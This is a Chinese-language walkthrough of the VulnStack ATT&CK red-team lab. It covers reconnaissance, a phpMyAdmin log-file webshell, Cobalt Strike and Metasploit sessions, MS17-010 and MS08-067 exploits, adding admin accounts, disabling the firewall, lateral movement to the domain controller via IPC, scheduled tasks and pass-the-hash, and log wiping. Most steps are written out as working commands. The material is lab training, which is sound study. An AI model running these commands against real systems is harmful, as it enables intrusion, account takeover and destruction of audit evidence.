VulnStack - ATT&CK红队评估实战(一) Writeup
VulnStack(一)环境搭建
- 项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
- 网络拓扑
环境说明
下载回来有三个虚拟机(虚拟机所有统一密码:hongrisec@2019):
- VM1: vulnstack-win7
- VM2: vulnstack-Win2K3 Metasploitable
- VM3: vulnstack-winserver08
-
物理机 192.168.111.1
-
kali 192.168.111.129
WP、漏洞讲解
官方WP:https://www.zrools.org/2020/03/09/VulnStack-ATT-CK红队评估实战-一-Writeup/
优秀WP:https://blog.csdn.net/weixin_54902210/article/details/124329382
最初的已知条件
拿下DMZ-Windows7(192.168.111.128)
1、端口扫描 & Web目录扫描
nmap 192.168.111.128 nmap -A -T4 192.168.111.128 御剑1.5 dirb http://192.168.111.128 dirsearch -u "http://192.168.111.128/" -e * python dirmap.py -i http://192.168.111.128/ -lcf dirmap => [200][application/x-rar-compressed][3.00mb] http://192.168.111.128/beifen.rar [200][text/html][70.42kb] http://192.168.111.128/phpinfo.php [200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyadmin/ [200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyAdmin/ [200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyadmin/ [200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyAdmin/ [200][text/html; charset=utf-8][14.39kb] http://192.168.111.128//l.php
2、phpMyAdmin GetShell【法一】
拓展思路:phpmyadmin写shell的几种方法
set global general_log='on'; SET global general_log_file='C:/phpStudy/WWW/shell.php' select '<?php @eval($_POST['pwd']);?>';
3、CMS后台GetShell【法二】
接着再看一下
http://192.168.54.3/yxcms/index.php?r=admin/index/login
尝试
参考文章:https://www.cnblogs.com/yujin2020/p/14310839.html
4、通过蚁剑实现Windows远程连接
不做也ok
远程开启3389 1、查看3389开放情况 netstat -ano 2、开启3389端口(服务) REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 3、添加管理员组用户 或者 使用管理员账户 ①添加管理员组用户 net user xxx Admin@123/add net localgroup Administrators xxx /add 或者 ②使用管理员账户 修改密码 net user administrator Admin@123 激活用户 net user administrator /active:yes 其他操作: rundll32.exe user32.dll,LockWorkStation 锁屏 query user 查询登录 logoff ID 下载
5、CS上线
cs开启服务端、客户端、设置监听器、制作Windows木马,通过蚁剑上传木马,蚁剑运行木马,cs成功上线
右键会话 -> sheep 1
DMZ-Windows7内网信息收集
1、Ladon911 一键信息收集
蚁剑上传Laon.exe
shell Ladon.exe 192.168.111.128 PortScan shell Ladon.exe 192.168.52.0/24 PortScan
cs探测192.168.111.128
cs探测192.168.52.0/24
内网主机有445端口,且为Windows主机 => 可以尝试永恒之蓝漏洞是否可以利用
shell Ladon.exe 192.168.111.128 OsScan shell Ladon.exe 192.168.52.0/24 OsScan
192.168.52.141是台
2、CS信息收集
shell whoami shell ipconfig /all shell route print shell arp -a shell ping 192.168.52.141 内网信息收集获取关键信息: 查询操作系统和版本信息 systeminfo 机器名 hostname 当前用户 whoami 本地管理员 STU1/administrator GOD/administrator 查看用户 net user 查看共享信息 net share
3、CS派生MSF生成SHELL控制内网(msf与CS联动)
1、msf创建监听
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.111.129 set lport 9999 exploit
2、在CS上添加监听器
3、传递会话
右键目标 => 增加会话 => 选择msf监听器
4、搭建隧道进内网(192.168.52.0/24)
实现:cs开隧道,msf链接隧道进内网
cs右键目标 => 中转 => SOCKS Server(设置端口)
cs最上面视图 => 代理信息(可看到cs开放代理情况) => 下边点击Tunnel => 复制msf代理情况 => 粘贴到msf进行执行
内网渗透(192.168.52.141)
前提:cs开隧道,msf链接隧道进内网
1、由445端口尝试永恒之蓝
探测是否存在漏洞(一遍运行不成功就运行第二遍 => 可能存在防火墙的原因)
前面扫描端口开着
2、使用ms17_010_command拿下内网主机【法一】
尝试ms17_010_command关闭系统防火墙
msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141 msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off" msf6 auxiliary(admin/smb/ms17_010_command) > exploit
使用ms17_010_command拿下域内主机192.168.52.141
msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141 msf6 auxiliary(admin/smb/ms17_010_command) > set command "ipconfig /all" msf6 auxiliary(admin/smb/ms17_010_command) > exploit
3、MS08-067搭配Bind TCP拿下内网主机【法二】
首先添加路由,使用Web服务器作为跳板访问
meterpreter > run autoroute -s 192.168.52.0/24 meterpreter > run autoroute -p
Bind TCP
接着
meterpreter > background msf6 exploit(multi/handler) > use exploit/windows/smb/ms08_067_netapi msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.52.141 msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp msf6 exploit(windows/smb/ms08_067_netapi) > exploit
正常来说应该是可以滴,估计是环境问题罢了。
内网横向移动(拿下域控192.168.52.138)
域内信息收集 当前用户必须是域用户,而不是本地用户(除过本地的system用户) 1、 whoami 查询当前用户 2、 net user /domain 查询域内又几个用户(只能是域用户才有权限查询) 3、 net group "domain computers" /domain 查询域中的计算机名字 4、 net group "Domain Controllers" /domain 查询域控的名字 5、 nslookup -type=SRV _ldap._tcp 查询域控
1、抓取域内主机用户密码
2、域内主机通过ipc连接上域控
shell net use \192.168.52.138ipc$ "hongrisec@2019" /user:godadministrator
3、上传隧道马(s)
①先手动上传木马到拿下的dmz区域的域内主机
②使用ipc,将域内主机的木马文件复制进域控上
shell copy beacon.exe \192.168.52.138c$
4、通过计划任务运行木马【法一】
优点:直接忽略防火墙
shell schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:eacon.exe /ru system /f shell schtasks /run /s 192.168.52.138 /i /tn "test" link 192.168.56.138
成功拿下域控
5、利用哈希传递(PTH)一键上线不出网机器【法二】
优点:直接忽略防火墙
cs左上角点击Cobalt Strike => 可视化 => 目标列表 => 选择要上线设备(192.168.52.135) => 点击Jump => 选择psexec64 => 其余设置结果如下:
参考文章:https://www.cnblogs.com/sunny11/p/14301425.html
6、利于MS17-010拿下域控【法三】
前面扫描端口开着
- 系统防火墙
估计是被防火墙干掉了,尝试用
msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138 msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off" msf6 auxiliary(admin/smb/ms17_010_command) > exploit
- MS17-010 和 Bind TCP
接着再拿
msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/ms17_010_psexec msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.138 msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp msf6 exploit(windows/smb/ms17_010_psexec) > exploit
成功反弹获取session,拿下域控!
清理痕迹
- 删除添加的域管理账号(这里没有添加);
- 删除服务器上渗透上传的工具;
- 删除应用程序、系统和安全日志;
meterpreter > clearev [*] Wiping 1474 records from Application... [*] Wiping 4836 records from System... [*] Wiping 41363 records from Security...
- 断开MSF等连接;
- 其他。
总结
这次的靶机环境比较简单,只是用MSF配合一些小工具使用,归纳下前面的漏洞利用:
- phpMyAdmin弱口令配合探针信息(WWW绝对路径)日志写Shell;
- CMS后台弱口令配合后台模板管理写Shell;
- 备份文件文件泄漏数据库配置和CMS源码等信息;
- 内网主机未打补丁,可以直接远程获取系统权限(MS08-067、MS17-010)。
主机上还有些其他的服务,比如
靶场描述
基本信息 作 者: hongri 创建时间: 2019年10月20日 14:05 标 签: 内网渗透 | Kill Chain | 域渗透 | 威胁情报 描述 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019: 一、环境搭建 1.环境搭建测试 2.信息收集 二、漏洞利用 3.漏洞搜索与利用 4.后台Getshell上传技巧 5.系统信息收集 6.主机密码收集 三、内网搜集 7.内网--继续信息收集 8.内网攻击姿势--信息泄露 9.内网攻击姿势-MS08-067 10.内网攻击姿势-SMB远程桌面口令猜测 11.内网攻击姿势-Oracle数据库TNS服务漏洞 12.内网攻击姿势-RPC DCOM服务漏洞 四、横向移动 13.内网其它主机端口-文件读取 14.内网其它主机端口-redis 15.内网其它主机端口-redis Getshell 16.内网其它主机端口-MySQL数据库 17.内网其它主机端口-MySQL提权 五、构建通道 18.内网其它主机端口-代理转发 六、持久控制 19.域渗透-域成员信息收集 20.域渗透-基础服务弱口令探测及深度利用之powershell 21.域渗透-横向移动[wmi利用] 22.域渗透-C2命令执行 23.域渗透-利用DomainFronting实现对beacon的深度隐藏 24.域渗透-域控实现与利用 七、痕迹清理 25、日志清理 文件 ATT&CK红队评估实战靶场 文件大小: 13 GB 文件MD5: e16fd0f6a5104aef0dfa73460afff0e8 文件SHA1: 078ce02d01298fe40a1feb8260fde79d5fb06bc6 下载地址: